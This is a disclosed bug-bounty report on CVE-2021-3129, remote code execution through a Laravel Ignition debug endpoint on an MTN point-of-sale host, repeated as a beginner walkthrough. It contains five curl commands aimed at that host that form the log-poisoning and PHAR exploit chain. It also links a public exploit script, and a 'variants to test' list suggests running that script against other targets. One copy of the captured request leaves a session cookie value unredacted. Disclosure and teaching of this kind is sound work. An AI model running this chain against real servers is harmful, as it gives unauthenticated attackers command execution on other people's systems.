Information disclosure due to debug mode enabled at Laravel instance https://mpos.mtn.co.sz/
A Laravel instance had debug mode enabled, exposing the Ignition error page and its execute-solution endpoint. The author claims this allows an unauthenticated attacker to exploit CVE-2021-3129 and run arbitrary commands on the server.
- Triaged in 9 days
- Fixed in 4 months
- Disclosed after 5 months
Summary:
CVE-2021-3129 is a Remote Code Execution vulnerability in the Laravel framework which takes advantage of unsafe usage of PHP. This vulnerability and the steps to exploit it follow a similar path to a classic log poisoning attack. In typical log poisoning, the attacker needs to exploit a local file inclusion first in order to achieve remote code execution, while in the Laravel framework, we need the Ignition module (Ignition is a page for displaying an error) and a specific chain to trigger this vulnerability. This security issue is relatively easy to exploit and does not require user authentication which is one of the reasons why it has a 9.8 CVSSv3 score.

In Laravel ignition mode, we have a class named MakeViewVariableOptionalSolution which invokes both functions to be triggered by sending a POST request to /_ignition/execute-solution. It does this using a JSON payload which includes a viewFile parameter. The action of reading and writing a file doesn’t give us more insights, but PHP allows us to use filters like php://filter/write=convert.base64-decode/resource=path/to/a/specific/file , and phar:///path/to/specific/file to modify and execute PHP serializable code . However, this is not enough to trigger RCE. Default Laravel has the log file in storage/logs/laravel.log which includes every PHP error. Writing malicious content with the purpose of decoding and executing it won’t work at first, because PHP ignores bad characters when decoding base64, so the error won’t be written in the Laravel log file.
Moreover, the log file has more entries that affect our payload. Hopefully, we can invoke php:// again to clear the log file and have only our payload executed and injected twice. But we need one more step. The length of the final payload in the log file is different from one target to another because of the absolute path, which could result in bad decoding of the base64 payload. One of the last methods I tried to trigger the RCE is to use base64 decode for UTF-16, which aligns the payload for 2 bytes. In this case, the first payload is correctly decoded, thus the second one will be decoded correctly too.

curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "AA"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=..."}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "phar://../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
- Navigate visit directory hostname on https://mpos.mtn.co.sz
- Intercept request to burp-suite and following directory parameter on
/srvgtw001/merchant/password/reset
GET /srvgtw001/merchant/password/reset HTTP/1.1
Host: mpos.mtn.co.sz
Cookie: cookiesession1=678B28894C92B8E298EA67025D4086C2
Cache-Control: max-age=0
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
- You can see the laravel-debug-enable
- Lets save exploit bellow as
exploit.py
https://raw.githubusercontent.com/joshuavanderpoll/CVE-2021-3129/refs/heads/main/CVE-2021-3129.py
- This script is designed to exploit the Remote Code Execution (RCE) vulnerability identified in several Laravel versions, known as CVE-2021-3129. By leveraging this vulnerability, the script allows users to write and execute commands on a target website running a vulnerable Laravel instance, provided that the "APP_DEBUG" configuration is set to "true" in the ".env" file.
- And the output of the command should be available in the last response received from the target.

Impact
Ignition, a popular debug tool in the Laravel ecosystem, played a crucial role in assisting developers during the application development process. However, its functionality came with a vulnerability that exposed websites using Laravel versions <= 8.4.2 with debug mode enabled to the risk of RCE attacks. This critical vulnerability allowed unauthenticated attackers to execute arbitrary code remotely, potentially wreaking havoc on application data, server resources, and user privacy.
Context
The target is the MTN mobile point-of-sale (MPOS) host mpos.mtn.co.sz, a Laravel application. The report is about CVE-2021-3129, a remote code execution flaw in the Laravel framework that abuses the Ignition error page and PHP stream filters. Ignition is the debug page that displays errors; in debug mode it exposes a solution endpoint that can be used to read and write files through PHP filters. The report describes the endpoint and the chain used to write to the Laravel log file and then execute a PHAR payload from it.
Setup
The researcher used a browser and Burp Suite to intercept requests. No account or authentication is mentioned. The precondition is that the Laravel instance has debug mode enabled (APP_DEBUG=true in .env), which exposes the Ignition endpoints. The report states that Laravel versions <= 8.4.2 with debug mode enabled are affected.
Finding it
The researcher visited https://mpos.mtn.co.sz and intercepted a request to the directory /srvgtw001/merchant/password/reset. The researcher states that the Laravel debug mode was visible. The report includes the request:
GET /srvgtw001/merchant/password/reset HTTP/1.1
Host: mpos.mtn.co.sz
Cookie: cookiesession1=[redacted]
Cache-Control: max-age=0
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
The response is not shown in the report, but the researcher states that the Laravel debug mode was visible. The report includes an image at this point:

Exploitation
The exploit follows the public CVE-2021-3129 chain. The report explains that the Ignition class MakeViewVariableOptionalSolution can be invoked by sending a POST request to /_ignition/execute-solution with a JSON payload containing a viewFile parameter. PHP stream filters such as php://filter/write=convert.base64-decode/resource=path/to/a/specific/file and phar:///path/to/specific/file allow writing and executing PHP serialisable code. The default Laravel log file is storage/logs/laravel.log, which records PHP errors. Writing malicious content directly does not work at first because PHP ignores bad characters when decoding base64, so the error is not written to the log. The log also contains other entries that affect the payload. The researcher uses php:// again to clear the log and have only the payload executed and injected twice. Because the absolute path changes the length of the final payload in the log, the researcher uses base64 decoding for UTF-16 to align the payload for 2 bytes, so the first payload is decoded correctly and the second one will be decoded correctly too.
The report includes an image of the process:

The researcher provides the following curl commands, copied exactly from the report:
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "AA"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=..."}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "phar://../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
These commands perform the following actions:
- Clear the log file and set up the filter chain to write to
../storage/logs/laravel.log. - Write a small payload
AAto the log. - Write the encoded PHAR payload (truncated in the report) to the log.
- Decode the quoted-printable and base64 content in the log.
- Trigger the PHAR deserialisation by using
phar://on the log file.
The report then describes using a public exploit script. The researcher says to save the exploit as exploit.py from the following URL:
https://raw.githubusercontent.com/joshuavanderpoll/CVE-2021-3129/refs/heads/main/CVE-2021-3129.py
The script is designed to exploit the RCE vulnerability in several Laravel versions, known as CVE-2021-3129. It allows users to write and execute commands on a target website running a vulnerable Laravel instance, provided that APP_DEBUG is set to true in the .env file. The output of the command should be available in the last response received from the target.
The report includes an image of the output:

Root cause
The vulnerability is in the Laravel Ignition module. The MakeViewVariableOptionalSolution class allows an attacker to specify a viewFile parameter that is passed to file operations. By using PHP stream filters, an attacker can write arbitrary content to a file, such as the Laravel log. The log file can then be included via the phar:// wrapper, triggering deserialisation of the PHAR metadata and leading to remote code execution. The report states that the vulnerability is relatively easy to exploit and does not require user authentication, which is why it has a 9.8 CVSSv3 score.
Impact
The report states that Ignition, a popular debug tool in the Laravel ecosystem, played a crucial role in assisting developers during the application development process. However, its functionality came with a vulnerability that exposed websites using Laravel versions <= 8.4.2 with debug mode enabled to the risk of RCE attacks. This critical vulnerability allowed unauthenticated attackers to execute arbitrary code remotely, potentially wreaking havoc on application data, server resources, and user privacy. The platform rates the report as medium severity with a CVSS score of 5.3.
Fix
The report does not state what fix was applied. The general remediation for CVE-2021-3129 is to upgrade Laravel and Ignition to a patched version and to disable debug mode (APP_DEBUG=false) in production. The report notes that the vulnerability affects Laravel versions <= 8.4.2 with debug mode enabled.
Variants to test
- Check for Laravel debug mode by requesting a non-existent route or a route that triggers an error and looking for the Ignition error page. A positive result is a detailed error page with stack trace and the Ignition branding.
- Send a POST request to
/_ignition/execute-solutionwith a JSON body containing{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"test","viewFile":"php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"}}. A positive result is the log file being modified. - Use the public exploit script from the report against a target with debug mode enabled. A positive result is command output in the response.
- Test other PHP stream wrappers such as
phar://andphp://filterin theviewFileparameter to see if file read or write is possible. A positive result is reading arbitrary files or writing to them. - Check for the
/_ignition/execute-solutionendpoint with different solutions. A positive result is any response that indicates the endpoint is accessible without authentication.
What happened, in plain words
A security researcher found that a website belonging to MTN, the mobile point-of-sale (MPOS) service at mpos.mtn.co.sz, was running a web application built with a tool called Laravel. Laravel is a popular framework: a collection of ready-made code that developers use to build websites faster, the way a furniture kit gives you pre-cut parts instead of raw timber. One of Laravel's optional features is a debug mode, which shows detailed error messages while a site is being built. If that mode is left switched on when the site goes live, anyone on the internet can see those detailed errors, and in this case the errors came with a known weakness called CVE-2021-3129.
CVE-2021-3129 is a remote code execution (RCE) flaw. "Remote" means an attacker does not need to be sitting at the machine; "code execution" means the attacker can make the server run commands of their choosing. The report explains that this flaw lives in a Laravel component called Ignition, the page that displays errors. Ignition offers a feature that lets a developer point at a file and have the application read or write it. The researcher used that feature, plus some tricks in the PHP programming language, to write a malicious file into the application's log file and then make the server execute it. No login was needed.
The report rates the underlying flaw at 9.8 on the CVSSv3 scale, a standard 0 to 10 score for how serious a vulnerability is. The bug bounty platform later rated this particular report as medium severity with a CVSS score of 5.3. The report was disclosed on 23 February 2025 and the researcher is credited as odaysec.
The pieces you need to know
Before following the steps, here are the concepts the report relies on, explained from zero.
- A web request: when you type an address into a browser, the browser sends a request to a server and the server sends back a response, usually a web page. Every request has a method (GET means "give me this page", POST means "here is some data, act on it"), a path (the part after the domain, such as
/login), and headers (small labels with extra information). - A cookie: a small piece of text that a website asks your browser to store and send back with every request, so the site can recognise you between page loads. It is like a cloakroom ticket: the number itself means nothing, but the attendant uses it to find your coat. Cookies can carry session identifiers, which are sensitive, so they are redacted here.
- An API endpoint: a URL on a server that is meant to be called by software rather than viewed by a person. You send it data in a structured format and it replies with data. Think of it as a service counter rather than a shop window.
- JSON: a simple text format for structured data, made of names and values in curly braces, for example
{"name": "test"}. It is how the requests in this report carry their instructions. - PHP: the programming language most Laravel sites are written in. It runs on the server, not in your browser.
- PHP stream wrappers and filters: PHP can open files not only by name but through special prefixes.
php://filterlets you transform data as it is read or written, like a water filter on a pipe.phar://is a wrapper for reading PHP archive files, and it has a side effect: when PHP opens aphar://path it may automatically unpack metadata inside the archive, which can run code. That side effect is the heart of this attack. - Base64: a way of writing any data using only letters, digits and a few symbols, so it can travel safely through systems that expect text. It is like spelling a word out letter by letter over the phone because the line is bad.
- Log file: a text file where an application writes notes about what happened, including errors. Laravel keeps one at
storage/logs/laravel.logby default. Because the application itself writes to it, an attacker who can influence what gets written can smuggle content in. - Deserialisation: turning stored text back into live objects in memory. If an attacker controls that text, they may control what the program does when it rebuilds the object. It is like a recipe: if someone can swap the ingredients list, the cake that comes out is not the one you intended.
- Burp Suite: a tool that sits between your browser and a website so you can look at, pause and change requests before they are sent. It is a proxy, like a post office that lets you open and rewrite letters in transit.
Finding it
The researcher started by visiting the site in a browser and then used Burp Suite to intercept a request to a directory on the host. The path in the report is /srvgtw001/merchant/password/reset, which looks like a merchant password reset page. The researcher intercepted the request to the directory on the host.
The captured request is reproduced here exactly as the report shows it, with the session cookie value redacted:
GET /srvgtw001/merchant/password/reset HTTP/1.1
Host: mpos.mtn.co.sz
Cookie: cookiesession1=[redacted]
Cache-Control: max-age=0
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Line by line, in plain words:
GET /srvgtw001/merchant/password/reset HTTP/1.1asks the server for that page using version 1.1 of the HTTP protocol, the language browsers and servers speak.Host: mpos.mtn.co.sztells the server which site name the request is for. One server can host many sites, so this label routes the request to the right one.Cookie: cookiesession1=[redacted]sends the stored cookie back. The value is a session identifier and is redacted because anyone holding it could impersonate that browser session.Cache-Control: max-age=0asks that no stale cached copy be used; the browser wants a fresh answer.- The
Sec-Ch-Ualines describe the browser and operating system to the server. They are standard labels modern browsers attach automatically. Accept-Languagesays the browser prefers US English.Upgrade-Insecure-Requests: 1says the browser would prefer an encrypted HTTPS version of the page if available.User-Agentidentifies the browser as Chrome 128 on 64-bit Windows 10.Acceptlists the kinds of content the browser can handle, starting with HTML.- The
Sec-Fetch-*lines tell the server how the request was started, here as a top-level navigation by the user. Accept-Encodinglists the compression formats the browser understands, so the server can shrink the response.PriorityandConnectionare housekeeping headers about request priority and keeping the connection open.
The report does not show the response body, but the researcher states that the Laravel debug mode was visible. In practice, that means the error page showed internal details that a production site should never expose. The report includes an image at this point:

How the exploit works, step by step
The attack follows the publicly documented chain for CVE-2021-3129. The report explains that Ignition contains a class called MakeViewVariableOptionalSolution. A class is a blueprint in code; this particular blueprint handles a request to make a view variable optional, and it accepts a parameter called viewFile that names a file to work with. The researcher could reach it by sending a POST request to the endpoint /_ignition/execute-solution with a JSON body. The report states that the vulnerability does not require user authentication.
The trick is what you put in viewFile. Instead of an ordinary file name, the researcher used PHP's filter syntax, such as php://filter/write=convert.base64-decode/resource=path/to/a/specific/file, which writes transformed data to a file, and phar:///path/to/specific/file, which opens a file as a PHP archive and can trigger deserialisation. The report notes that this alone is not enough for code execution.
The default Laravel log file, storage/logs/laravel.log, records every PHP error. The plan is to make the application write the malicious content into that log, then open the log through phar:// so the content is treated as an archive and executed. Two obstacles appear. First, writing the malicious content directly does not work, because PHP ignores invalid characters when decoding base64, so the error never lands in the log in a usable form. Second, the log already contains other entries that interfere with the payload. The researcher solved this by using php:// again to clear the log and by injecting the payload twice. A final problem is that the absolute path of the log differs from one target to another, which changes the length of the final payload and can break the base64 decoding. The researcher's answer was to use base64 decoding for UTF-16, which aligns the payload on 2-byte boundaries, so the first copy decodes correctly and the second copy then decodes correctly too.
The report includes an image of this process:

The researcher provides five curl commands, copied exactly from the report. curl is a command-line tool for sending HTTP requests; -XPOST sets the method to POST, -H adds a header, and -d supplies the body.
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
This first command clears the log and sets up the filter chain that will write to ../storage/logs/laravel.log. The JSON body names the Ignition solution class and passes a viewFile value made of several filters joined by pipes, each transforming the data in turn: convert from UTF-8 to UTF-16 little-endian, encode as quoted-printable, convert back to UTF-8, then base64-decode, and finally write the result to the log. The variableName is simply test.
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "AA"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
The second command writes the tiny string AA to the log. It is the first half of the two-copy trick that makes the alignment work.
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=..."}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
The third command writes the encoded PHAR payload into the log. The long string of =XX pairs is quoted-printable encoding, a way of writing bytes as printable text; the report truncates it with .... This is the content that will later be decoded and executed.
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
The fourth command runs the reverse filters over the log: decode the quoted-printable text, convert from UTF-16 little-endian back to UTF-8, and base64-decode. The result is that the log file now contains the decoded PHAR payload in a form PHP can interpret.
curl -XPOST -H 'Content-Type: application/json' -d ‘{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "phar://../storage/logs/laravel.log"}, }’ http(s)://mpos.mtn.co.sz/_ignition/execute-solution
The fifth command is the trigger. By asking Ignition to open phar://../storage/logs/laravel.log, the researcher makes PHP treat the log as a PHAR archive. PHP unpacks the metadata inside it, and that metadata is the malicious payload, so the server runs the attacker's code.
In summary, the five commands do the following:
- Clear the log file and set up the filter chain to write to
../storage/logs/laravel.log. - Write a small payload
AAto the log. - Write the encoded PHAR payload (truncated in the report) to the log.
- Decode the quoted-printable and base64 content in the log.
- Trigger the PHAR deserialisation by using
phar://on the log file.
Using the public exploit script
The report then describes a shortcut: a public exploit script. The researcher says to save it as exploit.py from this URL:
https://raw.githubusercontent.com/joshuavanderpoll/CVE-2021-3129/refs/heads/main/CVE-2021-3129.py
The script is designed to exploit the RCE vulnerability in several Laravel versions, known as CVE-2021-3129. It lets a user write and execute commands on a target website running a vulnerable Laravel instance, provided that APP_DEBUG is set to true in the .env file. The .env file is a configuration file that holds settings such as whether debug mode is on. The output of the command should appear in the last response received from the target.
The report includes an image of the output:

Why it works
The root cause is in the Laravel Ignition module. The MakeViewVariableOptionalSolution class lets an attacker supply a viewFile parameter that is passed straight to file operations. With PHP stream filters, an attacker can write arbitrary content to a file such as the Laravel log. The log can then be opened through the phar:// wrapper, which triggers deserialisation of the PHAR metadata and leads to remote code execution. The report states that the vulnerability is relatively easy to exploit and does not require user authentication, which is why it has a 9.8 CVSSv3 score.
Impact
The report states that Ignition, a popular debug tool in the Laravel ecosystem, played a crucial role in helping developers during application development. However, its functionality came with a vulnerability that exposed websites using Laravel versions <= 8.4.2 with debug mode enabled to the risk of RCE attacks. This critical vulnerability allowed unauthenticated attackers to execute arbitrary code remotely, potentially wreaking havoc on application data, server resources and user privacy. The platform rates the report as medium severity with a CVSS score of 5.3.
Fix
The report does not state what fix was applied. The general remediation for CVE-2021-3129 is to upgrade Laravel and Ignition to a patched version and to disable debug mode (APP_DEBUG=false) in production. The report notes that the vulnerability affects Laravel versions <= 8.4.2 with debug mode enabled.
Variants to test
If you want to look for the same weakness elsewhere, the report's approach suggests these checks:
- Check for Laravel debug mode by requesting a non-existent route or a route that triggers an error and looking for the Ignition error page. A positive result is a detailed error page with a stack trace and the Ignition branding.
- Send a POST request to
/_ignition/execute-solutionwith a JSON body containing{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"test","viewFile":"php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"}}. A positive result is the log file being modified. - Use the public exploit script from the report against a target with debug mode enabled. A positive result is command output in the response.
- Test other PHP stream wrappers such as
phar://andphp://filterin theviewFileparameter to see if file read or write is possible. A positive result is reading arbitrary files or writing to them. - Check for the
/_ignition/execute-solutionendpoint with different solutions. A positive result is any response that indicates the endpoint is accessible without authentication.
Glossary
- API endpoint: a URL meant to be called by software rather than viewed by a person, which accepts structured data and returns data.
- Base64: an encoding that represents arbitrary data using printable characters so it can travel through text-based systems.
- Burp Suite: a proxy tool that lets you intercept, inspect and modify HTTP requests between your browser and a website.
- Class: a blueprint in code that defines data and behaviour; objects are built from it.
- Cookie: a small piece of text stored by the browser and sent back to a site on each request, often used to recognise a session.
- CVE: a public identifier for a known vulnerability, here CVE-2021-3129.
- CVSS: a standard 0 to 10 scoring system for the severity of a vulnerability.
- Debug mode: a development setting that shows detailed error information; it should be off in production.
- Deserialisation: converting stored text back into live objects in memory, which can be dangerous if the text is attacker-controlled.
.envfile: a configuration file holding settings such as whether debug mode is enabled.- GET: an HTTP method that asks the server to return a resource.
- Header: a label and value attached to an HTTP request or response carrying extra information.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- Ignition: the Laravel error page component that displays errors and, in debug mode, exposes solution endpoints.
- JSON: a text format for structured data made of names and values.
- Laravel: a popular PHP web framework used to build web applications.
- Log file: a file where an application records events and errors, here
storage/logs/laravel.log. - PHAR: a PHP archive format; opening a
phar://path can trigger automatic deserialisation of its metadata. - PHP: the programming language most Laravel applications are written in, executed on the server.
php://filter: a PHP stream wrapper that applies transformations to data as it is read or written.- POST: an HTTP method that sends data to the server so it can act on it.
- Quoted-printable: an encoding that writes bytes as printable text, often using
=XXpairs. - RCE (remote code execution): a flaw that lets an attacker make a remote server run code of their choosing.
- Request: a message from a browser or tool to a server asking for something or sending data.
- Response: the server's reply to a request.
- Session identifier: a value in a cookie that identifies a logged-in or browsing session; it is sensitive.
- Stream wrapper: a PHP prefix such as
php://orphar://that changes how a file path is opened. - UTF-8 and UTF-16: ways of encoding text as bytes; UTF-16 uses two bytes for many characters, which is what makes the 2-byte alignment trick work.
viewFile: the parameter in the Ignition solution request that names the file to read or write.